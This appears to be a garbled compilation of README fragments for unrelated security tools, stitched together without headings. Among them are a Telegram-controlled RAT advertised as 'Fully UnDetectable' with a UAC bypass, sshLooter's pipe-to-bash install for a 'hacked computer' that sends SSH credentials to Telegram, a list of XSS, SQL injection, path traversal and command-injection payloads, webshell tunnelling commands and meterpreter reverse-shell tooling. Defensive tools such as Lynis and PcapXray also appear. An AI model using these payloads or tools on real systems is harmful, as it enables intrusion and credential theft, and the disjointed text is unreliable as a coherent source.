• use async multithreading via concurrent.futures module
• attack while mutating -> don't generate whole list when using -t 1
• log only the subdomains to logfile when '-r' was chosen
• minor code clean-ups / refactoring
• switch to tabstop=2 / shiftwidth=2

• upgraded to python3

• upgraded built-in wordlist (more than 2k)
• remove annoying timeout warnings
• remove color output when logging to file

• upgraded default wordlist
• replaced optionparser with argparse
• add version output option
• fixed typo

• fixed extracted ip addresses from rrset answers
• renamed file (removed version string)
• removed trailing whitespaces
• removed color output
• changed banner

• fixed a bug for returned list
• added postfix option
• upgraded wordlist[]
• colorised output
• changed error messages

• added verbose/quiet mode default is quiet now
• fixed try/catch for domainnames
• fixed some tab width (i normally use <= 80 chars per line)

• append DNS and IP output to found list
• added diffound list for subdomains resolved to different addresses
• get right ip address from current used iface to avoid socket problems
• fixed socket exception syntax and output
• added usage note for fixed port and multithreaded socket exception

• initial release  

1. The latest release of Python 2.7.x is required.
2. Install Selenium, a required dependency to run the browser drivers.
   • pip install -r requirements.txt
3. Download browser drivers for all web browsers you plan to use. Binaries should be placed in this root directory with the following naming scheme.
   • Internet Explorer: www.seleniumhq.org/download/
     • Download the Internet Explorer Driver Server for 32 bit Windows IE. Unzip the file and rename the binary to: IEDriver.exe.
     • In order for the Internet Explorer Driver to work, be sure protected mode is disabled. On IE11 (64 bit Windows), you must create registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BFCACHE". In this key, create a DWORD value named iexplore.exe and set the value to 0.
     • Further information on Internet Explorer requirements can be found on www.github.com/SeleniumHQ/selenium/wiki/InternetExplorerDriver
   • Firefox:www.github.com/mozilla/geckodriver/releases/
     • Download the latest release of the Firefox GeckoDriver for Windows 32 bit. Unzip the file and rename the binary to: FFDriver.exe.
       • On Linux systems, download the Linux version of Firefox GeckoDriver and rename the binary to: FFDriver.bin . Linux support is experimental.
     • Gecko Driver has special requirements. Copy FFDriver.exe to geckodriver.exe and place it into your PATH variable. Additionally, add firefox.exe to your PATH variable.
   • Chrome: https://chromedriver.storage.googleapis.com/index.html?path=2.35/
     • Download the latest release of the Google Chrome Driver for Windows 32 bit. Unzip the file and rename the binary to: ChromeDriver.exe.
       • On Linux systems, download the Linux version of the Chrome Web Driver and rename the binary to: ChromeDriver.bin . Linux support is experimental.

1. You must specify the browser you will be using with the --browser parameter. Supported browsers include Internet Explorer ("--browser IE"), Firefox ("--browser FF"), and Chrome ("--browser Chrome"). Windows and Linux are both supported. Chrome requires the least amount of setup steps. See above installation instructions for further details.
2. You must specify the URL. The script will navigate to this URL and submit credentials on your behalf.
3. Other optional parameters are available.
   • Set the logging parameter to debug (--logging debug) for verbose event logging
   • Set the submit parameter (--submit) to customize the element that is "clicked" by the browser
   • Set the override parameter (--override) to ignore missing form elements
   • Set the numpages parameter (--numpages) to increase the number of authentication pages (see below section)

• Basic Gui
• Speed Scan
• Custom Services
• User Control
• Error Control
• Useful parameters
• And More.

$ Pyqt4
$ Nmap

[+]xsltproc

• AIX
• FreeBSD
• HP-UX
• Linux
• Mac OS
• NetBSD
• OpenBSD
• Solaris
• and others

1. Determine operating system
2. Search for available tools and utilities
3. Check for Lynis update
4. Run tests from enabled plugins
5. Run security tests per category
6. Report status of security scan

• Security auditing
• Compliance testing (e.g. PCI, HIPAA, SOx)
• Vulnerability detection and scanning
• System hardening

• Best practices
• CIS
• NIST
• NSA
• OpenSCAP data
• Vendor guides and recommendations (e.g. Debian Gentoo, Red Hat)

Changes:
--------
* Bugfix for Arch Linux (binary detection)
* Textual changes for several tests
* Update of tests database

• Message Mode: It analyzes all messages in the database, applying different filters. It extracts thumbnails when they're availables.
• Decryption Mode: Decrypt crypto12 databases as long as we have the key.
• Info Mode: Displays different information about statuses, broadcasts list and groups.

• "Whapas.py" is the spanish version of "whapa.py"

git clone https://github.com/B16f00t/whapa.git

pip install -r requirements.txt

sudo apt-get update
sudo apt-get install -y python3-pip
sudo pip3 install pyportify
To usage:
config settings.cfg
 [auth]
 gmail = alias@gmail.com
 passw = yourpassword
python3 whagdext.py "arguments"

     __      __.__          __________         
    /  \    /  \  |__ _____ \______   \_____   
    \   \/\/   /  |  \\__  \ |     ___/\__  \  
     \        /|   Y  \/ __ \|    |     / __ \_
      \__/\  / |___|  (____  /____|    (____  /
           \/       \/     \/               \/ 
    ---------- Whatsapp Parser v0.2 -----------

usage: whapa.py [-h] [-k KEY | -i | -m] [-t TEXT] [-u USER] [-g GROUP] [-w]
                [-s] [-b] [-tS TIME_START] [-tE TIME_END]
                [-tT | -tI | -tA | -tV | -tC | -tL | -tX | -tP | -tG | -tD | -tR]
                [DATABASE]

To start choose a database and a mode with options

positional arguments:
DATABASE              database file path - './msgstore.db' by default

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     *** Decrypt Mode *** - key file path
  -i, --info            *** Info Mode ***
  -m, --messages        *** Message Mode ***
  -t TEXT, --text TEXT  filter messages by text match
  -u USER, --user USER  filter messages made by a phone number
  -g GROUP, --group GROUP
                        filter messages made in a group number
  -w, --web             filter messages made by Whatsapp Web
  -s, --starred         filter messages starred by user
  -b, --broadcast       filter messages send by broadcast
  -tS TIME_START, --time_start TIME_START
                        filter messages by start time (dd-mm-yyyy HH:MM)
  -tE TIME_END, --time_end TIME_END
                        filter messages by end time (dd-mm-yyyy HH:MM)
  -tT, --type_text      filter text messages
  -tI, --type_image     filter image messages
  -tA, --type_audio     filter audio messages
  -tV, --type_video     filter video messages
  -tC, --type_contact   filter contact messages
  -tL, --type_location  filter location messages
  -tX, --type_call      filter audio/video call messages
  -tP, --type_application
                        filter application messages
  -tG, --type_gif       filter GIF messages
  -tD, --type_deleted   filter deleted object messages
  -tR, --type_share     filter Real time location messages  

• Message mode:
  

    python whapa.py -m 

  Show all messages from the database.
  

    python whapa.py -m -tS "12-12-2017 12:00" -tE "13-12-2017 12:00"

  Show all messages from 12-12-2017 12:00 to 13-12-2017 12:00.
  

    python whapa.py -m -w -tI

  Show all images send by Whatsapp Web.
  
• Decrypt mode:
  

    python whapa.py msgstore.db.crypt12 -k key

  Decrypt msgstore.dbcrypt12, creating msgstore.db
  
• Info mode:
  

    python whapa.py -i

  Show a stage with options about groups, broadcast lists and statuses.

• Compatible with both python 2 and 3 versions(dont forget that may causes some error.so please share us any error(s))

• Fully UnDetectable(FUD)
• Compatible with Telegram messanger
• Bypass windows User Account Control(UAC)
• Memory executation
• No any requirments to setup

1. Open telegram.service file by an editor
2. Insert your bot token on line 15, replaced on YOUR_BOT_TOKEN
3. Run telegram.service by typing: python telegram.service
4. Now you can use your bot to control parat :) 

1. POCs: Endpoint detection agents / compromise assessment tools
2. Test your security monitoring's detection capabilities
3. Test your SOCs response on a threat that isn't EICAR or a port scan
4. Prepare an environment for digital forensics classes

• Because it's simple: Everyone can read, modify or extend it
• It runs on every Windows system without any prerequisites
• It is closest to a real attacker working on the command line

1. Download the latest release from the "release" section
2. Extract the package on a demo system (Password: apt)
3. Start a cmd.exe as Administrator
4. Navigate to the extracted program folder and run APTSimulator.bat

1. Add you tool to the toolset folder
2. Write a new batch script privesc-1.bat and add it to the ./test-sets/privilege-escalation folder
3. Run build_pack.bat
4. Add your test to the table and action list in the README.md
5. Create a pull request

%ZIP% e -p%PASS% %TOOLARCH% -aoa -o%APTDIR% toolset\tool.exe > NUL

%ZIP% e -p%PASS% %FILEARCH% -aoa -o%APTDIR% workfile\tool-output.txt > NUL

• AV = Antivirus
• NIDS = Network Intrusion Detection System
• EDR = Endpoint Detection and Response
• SM = Security Monitoring
• CA = Compromise Assessment

• drops pwdump output to the working dir
• drops directory listing to the working dir

• Executes command used by attackers to get information about a target system

• Looks up several well-known C2 addresses to cause DNS requests and get the addresses into the local DNS cache

• Creates Windwows Eventlog entries that look as if WCE had been executed

• Adds entries to the local hosts file (update blocker, entries caused by malware)

• Tries to replace sethc.exe with cmd.exe (a backup file is created)
• Tries to register cmd.exe as debugger for sethc.exe

• Drops a cloaked RAR file with JPG extension

• Creates a standard web root directory
• Drops standard web shells to that diretory
• Drops GIF obfuscated web shell to that diretory

• Drops a PowerShell Ncat alternative to the working directory

• Drops a remote execution tool to the working directory

• Dumps mimikatz output to working directory (fallback if other executions fail)
• Run special version of mimikatz and dump output to working directory
• Run Invoke-Mimikatz in memory (github download, reflection)

• Dump a renamed version of PsExec to the working directory
• Run PsExec to start a command line in LOCAL_SYSTEM context

• Creates an at job that runs mimikatz and dumps credentials to file

• Create a suspicious new RUN key entry that dumps "net user" output to a file

• Drops suspicious executable with system file name (svchost.exe) in %PUBLIC% folder
• Runs that suspicious program in %PUBLIC% folder

• Activates Guest user
• Adds Guest user to the local administrators

• Dumps LSASS process memory to a suspicious folder

• Uses Curl to access well-known C2 servers

• Uses malicious user agents to access web sites

• Creates a scheduled task that runs mimikatz and dumps the output to a file

• Scanning 3 private IP address class-C subnets and dumping the output to the working directory

• Mimikatz
• PowerSploit
• PowerCat
• PsExec
• ProcDump
• 7Zip
• curl

• Burpsuite Spider with intelligent form submission
• Manual crawl of website through Burpsuite proxy and submitting INJECTX payloads for tracking
• Burpsuite passive scan
• Burpsuite engagement tools > Search > <form|<input|url=|path=|load=|INJECTX|Found|<!--|Exception|Query|ORA|SQL|error|Location|crowdshield|xerosecurity|username|password|document\.|location\.|eval\(|exec\(|\?wsdl|\.wsdl
• Burpsuite engagement tools > Find comments
• Burpsuite engagement tools > Find scripts
• Burpsuite engagement tools > Find references
• Burpsuite engagement tools > Analyze target
• Burpsuite engagement tools > Discover content
• Burpsuite Intruder > file/directory brute force
• Burpsuite Intruder > HTTP methods, user agents, etc.
• Enumerate all software technologies, HTTP methods, and potential attack vectors
• Understand the function of the site, what types of data is stored or valuable and what sorts of functions to attack, etc.

• OPERATING SYSTEM
• WEB SERVER
• DATABASE SERVERS
• PROGRAMMING LANGUAGES
• PLUGINS/VERSIONS
• OPEN PORTS
• USERNAMES
• SERVICES
• WEB SPIDERING
• GOOGLE HACKING

• INPUT FORMS
• GET/POST PARAMS
• URI/REST STRUCTURE
• COOKIES
• HEADERS

fname|phone|id|org_name|name|email

Company
First Last
username
username@mailinator.com
Password123$
+1416312384
google.com
https://google.com
//google.com
.google.com
https://google.com/.injectx/rfi_vuln.txt
https://google.com/.injectx/rfi_vuln.txt?`whoami`
https://google.com/.injectx/rfi_vuln.txt.png
https://google.com/.injectx/rfi_vuln.txt.html
12188
01/01/1979
4242424242424242
INJECTX
'>"></INJECTX>(1)
javascript:alert(1)//
"><img/onload=alert(1)>' -- 
"></textarea><img/onload=alert(1)>' -- 
INJECTX'>"><img/src="https://google.com/.injectx/xss_vuln.png"></img>
'>"><iframe/onload=alert(1)></iframe>
INJECTX'>"><ScRiPt>confirm(1)<ScRiPt>
"></textarea><img/onload=alert(1)>' -- // INJECTX <!-- 
"><img/onload=alert(1)>' -- // INJECTX <!-- 
INJECTX'"><h1>X<!-- 
INJECTX"><h1>X
en%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2020%0A%3Chtml%3EINJECTX%3C%2Fhtml%3E%0A%0A
%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2020%0A%3Chtml%3EINJECTX%3C%2Fhtml%3E%0A%0A
../../../../../../../../../../../etc/passwd
{{4+4}}
sleep 5; sleep 5 || sleep 5 | sleep 5 & sleep 5 && sleep 5
admin" or "1"="1"-- 
admin' or '1'='1'-- 
firstlastcompany%0a%0d

• Spiders, Robots and Crawlers IG-001
• Search Engine Discovery/Reconnaissance IG-002
• Identify application entry points IG-003
• Testing for Web Application Fingerprint IG-004
• Application Discovery IG-005
• Analysis of Error Codes IG-006
• SSL/TLS Testing (SSL Version, Algorithms, Key length, Digital Cert. Validity) - SSL Weakness CM‐001
• DB Listener Testing - DB Listener weak CM‐002
• Infrastructure Configuration Management Testing - Infrastructure Configuration management weakness CM‐003
• Application Configuration Management Testing - Application Configuration management weakness CM‐004
• Testing for File Extensions Handling - File extensions handling CM‐005
• Old, backup and unreferenced files - Old, backup and unreferenced files CM‐006
• Infrastructure and Application Admin Interfaces - Access to Admin interfaces CM‐007
• Testing for HTTP Methods and XST - HTTP Methods enabled, XST permitted, HTTP Verb CM‐008
• Credentials transport over an encrypted channel - Credentials transport over an encrypted channel AT-001
• Testing for user enumeration - User enumeration AT-002
• Testing for Guessable (Dictionary) User Account - Guessable user account AT-003
• Brute Force Testing - Credentials Brute forcing AT-004
• Testing for bypassing authentication schema - Bypassing authentication schema AT-005
• Testing for vulnerable remember password and pwd reset - Vulnerable remember password, weak pwd reset AT-006
• Testing for Logout and Browser Cache Management - - Logout function not properly implemented, browser cache weakness AT-007
• Testing for CAPTCHA - Weak Captcha implementation AT-008
• Testing Multiple Factors Authentication - Weak Multiple Factors Authentication AT-009
• Testing for Race Conditions - Race Conditions vulnerability AT-010
• Testing for Session Management Schema - Bypassing Session Management Schema, Weak Session Token SM-001
• Testing for Cookies attributes - Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity SM-002
• Testing for Session Fixation - Session Fixation SM-003
• Testing for Exposed Session Variables - Exposed sensitive session variables SM-004
• Testing for CSRF - CSRF SM-005
• Testing for Path Traversal - Path Traversal AZ-001
• Testing for bypassing authorization schema - Bypassing authorization schema AZ-002
• Testing for Privilege Escalation - Privilege Escalation AZ-003
• Testing for Business Logic - Bypassable business logic BL-001
• Testing for Reflected Cross Site Scripting - Reflected XSS DV-001
• Testing for Stored Cross Site Scripting - Stored XSS DV-002
• Testing for DOM based Cross Site Scripting - DOM XSS DV-003
• Testing for Cross Site Flashing - Cross Site Flashing DV-004
• SQL Injection - SQL Injection DV-005
• LDAP Injection - LDAP Injection DV-006
• ORM Injection - ORM Injection DV-007
• XML Injection - XML Injection DV-008
• SSI Injection - SSI Injection DV-009
• XPath Injection - XPath Injection DV-010
• IMAP/SMTP Injection - IMAP/SMTP Injection DV-011
• Code Injection - Code Injection DV-012
• OS Commanding - OS Commanding DV-013
• Buffer overflow - Buffer overflow DV-014
• Incubated vulnerability - Incubated vulnerability DV-015
• Testing for HTTP Splitting/Smuggling - HTTP Splitting, Smuggling DV-016
• Testing for SQL Wildcard Attacks - SQL Wildcard vulnerability DS-001
• Locking Customer Accounts - Locking Customer Accounts DS-002
• Testing for DoS Buffer Overflows - Buffer Overflows DS-003
• User Specified Object Allocation - User Specified Object Allocation DS-004
• User Input as a Loop Counter - User Input as a Loop Counter DS-005
• Writing User Provided Data to Disk - Writing User Provided Data to Disk DS-006
• Failure to Release Resources - Failure to Release Resources DS-007
• Storing too Much Data in Session - Storing too Much Data in Session DS-008
• WS Information Gathering - N.A. WS-001
• Testing WSDL - WSDL Weakness WS-002
• XML Structural Testing - Weak XML Structure WS-003
• XML content-level Testing - XML content-level WS-004
• HTTP GET parameters/REST Testing - WS HTTP GET parameters/REST WS-005
• Naughty SOAP attachments - WS Naughty SOAP attachments WS-006
• Replay Testing - WS Replay Testing WS-007
• AJAX Vulnerabilities - N.A. AJ-001
• AJAX Testing - AJAX weakness AJ-002

• Descriptive error messages (e.g. Stack Traces, application or server errors).
• HTTP 404 codes/pages or other HTTP non-200 codes/pages.
• Banner disclosure on common/public services.
• Disclosure of known public files or directories, (e.g. robots.txt).
• Click-Jacking and issues only exploitable through click-jacking.
• CSRF on forms which are available to anonymous users (e.g. the contact form).
• Logout Cross-Site Request Forgery (logout CSRF).
• Presence of application or web browser ‘autocomplete’ or ‘save password’ functionality.
• Lack of Secure and HTTPOnly cookie flags.
• Lack of Security Speedbump when leaving the site.
• Weak Captcha / Captcha Bypass
• Username enumeration via Login Page error message
• Username enumeration via Forgot Password error message
• Login or Forgot Password page brute force and account lockout not enforced.
• OPTIONS / TRACE HTTP method enabled
• SSL Attacks such as BEAST, BREACH, Renegotiation attack
• SSL Forward secrecy not enabled
• SSL Insecure cipher suites
• The Anti-MIME-Sniffing header X-Content-Type-Options
• Missing HTTP security headers
• Security best practices without accompanying Proof-of-Concept exploitation
• Descriptive error messages (e.g. Stack Traces, application or server errors).
• HTTP 404 codes/pages or other HTTP non-200 codes/pages.
• Denial of Service Attacks.
• Fingerprinting / banner disclosure on common/public services.
• Disclosure of known public files or directories, (e.g. robots.txt).
• Clickjacking and issues only exploitable through clickjacking.
• CSRF on non-sensitive forms.
• Logout Cross-Site Request Forgery (logout CSRF).
• Presence of application or web browser ‘autocomplete’ or ‘save password’ functionality.
• Lack of Secure/HTTPOnly flags on non-sensitive Cookies.
• Lack of Security Speedbump when leaving the site.
• Weak Captcha / Captcha Bypass
• Login or Forgot Password page brute force and account lockout not enforced.
• OPTIONS HTTP method enabled
• HTTPS Mixed Content Scripts
• Known vulnerable libraries
• Attacks on Third Party Ad Services
• Username / email enumeration via Forgot Password or Login page
• Missing HTTP security headers
• Strict-Transport-Security Not Enabled For HTTPS
• X-Frame-Options
• X-XSS-Protection
• X-Content-Type-Options
• Content-Security-Policy, X-Content-Security-Policy, X-WebKit-CSP
• Content-Security-Policy-Report-Only
• SSL Issues, e.g.
• SSL Attacks such as BEAST, BREACH, Renegotiation attack
• SSL Forward secrecy not enabled
• SSL weak / insecure cipher suites
• Lack of SPF records (Email Spoofing)
• Auto-complete enabled on password fields
• HTTP enabled
• Session ID or Login Sent Over HTTP
• Insecure Cookies
• Cross-Domain.xml Allows All Domains
• HTML5 Allowed Domains
• Cross Origin Policy
• Content Sniffing Not Disabled
• Password Reset Account Enumeration
• HTML Form Abuse (Denial of Service)
• Weak HSTS Age (86,000 or less)
• Lack of Password Security Policy (Brute Forcable Passwords)
• Physical Testing
• Denial of service attacks
• Resource Exhaustion attacks
• Issues related to rate limiting
• Login or Forgot Password page brute force and account lockout not enforced
• api*.netflix.com listens on port 80
• Cross-domain access policy scoped to *.netflix.com
• Username / Email Enumeration
• via Login Page error message
• via Forgot Password error message
• via Registration
• Weak password
• Weak Captcha / Captcha bypass
• Lack of Secure/HTTPOnly flags on cookies
• Cookie valid after logout
• Cookie valid after password reset
• Cookie expiration
• Forgot password autologin
• Autologin token reuse
• Same Site Scripting
• SSL Issues, e.g.
• SSL Attacks such as BEAST, BREACH, Renegotiation attack
• SSL Forward secrecy not enabled
• SSL weak / insecure cipher suites
• SSL vulnerabilities related to configuration or version
• Descriptive error messages (e.g. Stack Traces, application or server errors).
• HTTP 404 codes/pages or other HTTP non-200 codes/pages.
• Fingerprinting/banner disclosure on common/public services.
• Disclosure of known public files or directories, (e.g. robots.txt).
• Clickjacking and issues only exploitable through clickjacking.
• CSRF on forms that are available to anonymous users (e.g. the contact form).
• Logout Cross-Site Request Forgery (logout CSRF).
• Missing CSRF protection on non-sensitive functionality
• Presence of application or web browser ‘autocomplete’ or ‘save password’ functionality.
• Incorrect Charset
• HTML Autocomplete
• OPTIONS HTTP method enabled
• TRACE HTTP method enabled
• Missing HTTP security headers, specifically
• (https://www.owasp.org/index.php/List_of_useful_HTTP_headers), e.g.
• Strict-Transport-Security
• X-Frame-Options
• X-XSS-Protection
• X-Content-Type-Options
• Content-Security-Policy, X-Content-Security-Policy, X-WebKit-CSP
• Content-Security-Policy-Report-Only
• Issues only present in old browsers/old plugins/end-of-life software browsers
• IE < 9
• Chrome < 40
• Firefox < 35
• Safari < 7
• Opera < 13
• Vulnerability reports related to the reported version numbers of web servers, services, or frameworks

pip install -r requirements.txt

# ./altdns.py -i subdomains.txt -o data_output -w words.txt -r -s results_output.txt

• subdomains.txt contains the known subdomains for an organization
• data_output is a file that will contain the massive list of altered and permuted subdomains
• words.txt is your list of words that you'd like to permute your current subdomains with (i.e. admin, staging, dev, qa) - one word per line
• the -r command resolves each generated, permuted subdomain
• the -s command tells altdns where to save the results of the resolved permuted subdomains. results_output.txt will contain the final list of permuted subdomains found that are valid and have a DNS record.
• the -t command limits how many threads the resolver will use simultaneously
• -d 1.2.3.4 overrides the system default DNS resolver and will use the specified IP address as the resolving server. Setting this to the authoritative DNS server of the target domain may increase resolution performance

• Checks for metasploit service and starts if not present
  
• Easily craft meterpreter reverse_tcp payloads for Windows, Linux, Android and Mac
  
• Start multiple meterpreter reverse_tcp listners
  
• Assistance with building basic persistence options and scripts
  
• Armitage launcher
  
• Drop into Msfconsole
  
• Some other fun stuff :)

git clone https://github.com/mthbernardes/sshLooter.git
cd sshLooter

Edit the script on install.sh, and add your telegram bot api, and your userid.
Call the @botfather on telegram to create a bot and call the @userinfobot to get your user id.

On your server execute.
python -m SimpleHTTPServer

On the hacked computer execute.
curl http://yourserverip:8000/install.sh | bash

• Investigation of a Pcap file takes a long time given initial glitch to start the investigation
  
• Faced by every forensics investigator and anyone who is analyzing the network
  
• Location: https://github.com/Srinivas11789/PcapXray
  

• Make a network diagram with the following features from a Pcap file Tool Highlights:
• Network Diagram – Summary Network Diagram of full network
• Information:
• Traffic with Server Details
• Tor Traffic
• Possible Malicious traffic
• Data Obtained from Packet in Report – Device/Traffic/Payloads
• Device Details

• Network Diagram
• Device/Traffic Details and Analysis
• Malicious Traffic Identification
• Tor Traffic
• GUI – a gui with options to upload pcap file and display the network diagram

• Tkinter and TTK – Install from pip or apt-get – Ensure Tkinter and graphviz is installed (Most Linux contain by default)
  • apt install python-tk
  • apt install graphviz
• All these are included in the requirements.txt file
  • Scapy – rdpcap to read the packets from the pcap file
  • Ipwhois – to obtain whois information from ip
  • Netaddr – to check ip information type
  • Pillow – image processing library
  • Stem – tor consensus data fetch library
  • pyGraphviz – plot graph
  • Networkx – plot graph
  • Matplotlib – plot graph

• Unstability of the TK GUI:
  • Decision on the GUI between Django and TK, settled upon tk for a simple local interface, but the unstability of the tk gui caused a number of problems
• Graph Plotting:
  • Plotting a proper network graph which is readable from the data obtained was quite an effort, used different libraries to arrive at one.
• Performance and Timing:
  • The performance and timing of the total application was a big challenge with different data gathering and output generation

• Memory Hogging
  
  • Sometimes memory hogging occurs when lower RAM is present in the system as the data stored in the memory from the pcap file is huge
  • Should be Fixed by moving data into a database than the memory itself
• Race Condition
  
  • Due to mainloop of the TK gui, other threads could undergo a race condition
  • Should be fixed by moving to a better structured TK implementation or Web GUI
• Tk GUI Unstability:
  
  • Same reason as above
• Current Fix in rare occasions: If any of the above issue occurs the progress bar keeps running and no output is generated, a restart of the app would be required.
  

• Change the database from JSON to sqlite or prominent database, due to memory hogging
• Change fronend to web based such as Django
• Make the application more stable

TLDR: Tunnels TCP connections over HTTP

• See limitations

# This will start a Local SOCKS Proxy Server at port 80000
# This connection will be wrapped over HTTP and unwrapped at the remote server

python proxy.py -u http://10.3.3.1/conn.aspx -l 8000 -x https://192.168.1.100:3128 -A -v

# This will start a Local SOCKS Proxy Server at port 80000
# It will connect through a Local Proxy (https://192.168.1.100:3128) that requires authentication
# to the remote Tunna webshell

python proxy.py -u http://10.3.3.1/conn.aspx -l 4444 -r 3389 -b 8192 -v --no-socks

# This will initiate a connection between the webshell and Remote host RDP (3389) service
# The RDP client can connect on localhost port 4444
# This connection will be wrapped over HTTP

The ability to upload a webshell on the remote server

This is a POC code and might cause DoS of the server.
 All efforts to clean up after execution or on error have been made (no promises)

Based on local tests:   
 * JSP buffer needs to be limited (buffer option):
   4096 worked in Linux Apache Tomcat
   1024 worked in XAMPP Apache Tomcat (slow)
   * More than that created problems with bytes missing at the remote socket
   eg: ruby proxy.rb -u http://10.3.3.1/conn.jsp -l 4444 -r 3389 -b 1024 -v

 * Sockets not enabled by default php windows (IIS + PHP)

 * Return cariages on webshells (outside the code): 
  get sent on responses / get written on local socket --> corrupt the packets

 * PHP webshell for windows: the loop function DoS'es the remote socket: 
  sleep function added -> works but a bit slow 
 * PHP webshell needs new line characters removed at the end of the file (after "?>")
  as these will get send in every response and confuse Tunna 

Webshells:
 conn.jsp Tested on Apache Tomcat (windows + linux)
 conn.aspx Tested on IIS 6+8 (windows server 2003/2012) 
 conn.php Tested on LAMP + XAMPP + IIS (windows + linux)

WebServer:
 webserver.py Tested with Python 2.6.5

Proxies:
 proxy.py Tested with Python 2.6.5

Data is sent raw in the HTTP Post Body (no post variable)

Instructions / configuration is sent to the webshell as URL parameters (HTTP Get)
Data is sent in the HTTP body (HTTP Post)

Websockets not used: Not supported by default by most of webservers
Asyncronous HTTP responses not really possible
 Proxy queries the server constantly (default 0.5 seconds)

IP and port for the webshell to connect to
This is a threaded request:
 In php this request will go into an infinate loop 
 to keep the webshell socket connection alive
 In other webshells [OK] is received back

• URIs (directories and files) in web sites.
• DNS subdomains (with wildcard support).

1. ... something that didn't have a fat Java GUI (console FTW).
2. ... to build something that just worked on the command line.
3. ... something that did not do recursive brute force.
4. ... something that allowed me to brute force folders and multiple extensions at once.
5. ... something that compiled to native on multiple platforms.
6. ... something that was faster than an interpreted script (such as Python).
7. ... something that didn't require a runtime.
8. ... use something that was good with concurrency (hence Go).
9. ... to build something in Go that wasn't totally useless.

• -fw - Force processing of a domain with wildcard results.
• -m <mode> - which mode to use, either dir or dns (default: dir)
• -q - disables banner/underline output.
• -t <threads> - number of threads to run (default: 10).
• -u <url/domain> - full URL (including scheme), or base domain name.
• -v - verbose output (show all results).
• -w <wordlist> - path to the wordlist used for brute forcing.

• -cn - show CNAME records (cannot be used with '-i' option).
• -i - show all IP addresses for the result.

• -a <user agent string> - specify a user agent string to send in the request header.
• -c <http cookies> - use this to specify any cookies that you might need (simulating auth).
• -e - specify extended mode that renders the full URL.
• -f - append / for directory brute forces.
• -k - Skip verification of SSL certificates.
• -l - show the length of the response.
• -n - "no status" mode, disables the output of the result's status code.
• -o <file> - specify a file name to write the output to.
• -p <proxy url> - specify a proxy to use for all requests (scheme much match the URL scheme).
• -r - follow redirects.
• -s <status codes> - comma-separated set of the list of status codes to be deemed a "positive" (default: 200,204,301,302,307).
• -x <extensions> - list of extensions to check for, if any.
• -P <password> - HTTP Authorization password (Basic Auth only, prompted if missing).
• -U <username> - HTTP Authorization username (Basic Auth only).

gobuster $ go get && go build

gobuster $ go install

gobuster$ go run main.go <parameters>

hashcat -a 3 --stdout ?l | gobuster -u https://mysite.com

$ gobuster -u https://mysite.com/path/to/folder -c 'session=123456' -t 50 -w common-files.txt -x .php,.html

$ gobuster -u http://buffered.io/ -w words.txt

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://buffered.io/
[+] Threads      : 10
[+] Wordlist     : words.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/index (Status: 200)
/posts (Status: 301)
/contact (Status: 301)
=====================================================

$ gobuster -u http://buffered.io/ -w words.txt -n

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://buffered.io/
[+] Threads      : 10
[+] Wordlist     : words.txt
[+] Status codes : 200,204,301,302,307
[+] No status    : true
=====================================================
/index
/posts
/contact
=====================================================

$ gobuster -u http://buffered.io/ -w words.txt -v

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://buffered.io/
[+] Threads      : 10
[+] Wordlist     : words.txt
[+] Status codes : 200,204,301,302,307
[+] Verbose      : true
=====================================================
Found : /index (Status: 200)
Missed: /derp (Status: 404)
Found : /posts (Status: 301)
Found : /contact (Status: 301)
=====================================================

$ gobuster -u http://buffered.io/ -w words.txt -l

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://buffered.io/
[+] Threads      : 10
[+] Wordlist     : /tmp/words
[+] Status codes : 301,302,307,200,204
[+] Show length  : true
=====================================================
/contact (Status: 301)
/posts (Status: 301)
/index (Status: 200) [Size: 61481]
=====================================================

$ gobuster -u http://buffered.io/ -w words.txt -q -n -e
http://buffered.io/posts
http://buffered.io/contact
http://buffered.io/index

$ gobuster -m dns -u mysite.com -t 50 -w common-names.txt

$ gobuster -m dns -w subdomains.txt -u google.com

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dns
[+] Url/Domain   : google.com
[+] Threads      : 10
[+] Wordlist     : subdomains.txt
=====================================================
Found: m.google.com
Found: admin.google.com
Found: mobile.google.com
Found: www.google.com
Found: search.google.com
Found: chrome.google.com
Found: ns1.google.com
Found: store.google.com
Found: wap.google.com
Found: support.google.com
Found: directory.google.com
Found: translate.google.com
Found: news.google.com
Found: music.google.com
Found: mail.google.com
Found: blog.google.com
Found: cse.google.com
Found: local.google.com
=====================================================

$ gobuster -m dns -w subdomains.txt -u google.com -i

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dns
[+] Url/Domain   : google.com
[+] Threads      : 10
[+] Wordlist     : subdomains.txt
[+] Verbose      : true
=====================================================
Found: chrome.google.com [2404:6800:4006:801::200e, 216.58.220.110]
Found: m.google.com [216.58.220.107, 2404:6800:4006:801::200b]
Found: www.google.com [74.125.237.179, 74.125.237.177, 74.125.237.178, 74.125.237.180, 74.125.237.176, 2404:6800:4006:801::2004]
Found: search.google.com [2404:6800:4006:801::200e, 216.58.220.110]
Found: admin.google.com [216.58.220.110, 2404:6800:4006:801::200e]
Found: store.google.com [216.58.220.110, 2404:6800:4006:801::200e]
Found: mobile.google.com [216.58.220.107, 2404:6800:4006:801::200b]
Found: ns1.google.com [216.239.32.10]
Found: directory.google.com [216.58.220.110, 2404:6800:4006:801::200e]
Found: translate.google.com [216.58.220.110, 2404:6800:4006:801::200e]
Found: cse.google.com [216.58.220.110, 2404:6800:4006:801::200e]
Found: local.google.com [2404:6800:4006:801::200e, 216.58.220.110]
Found: music.google.com [2404:6800:4006:801::200e, 216.58.220.110]
Found: wap.google.com [216.58.220.110, 2404:6800:4006:801::200e]
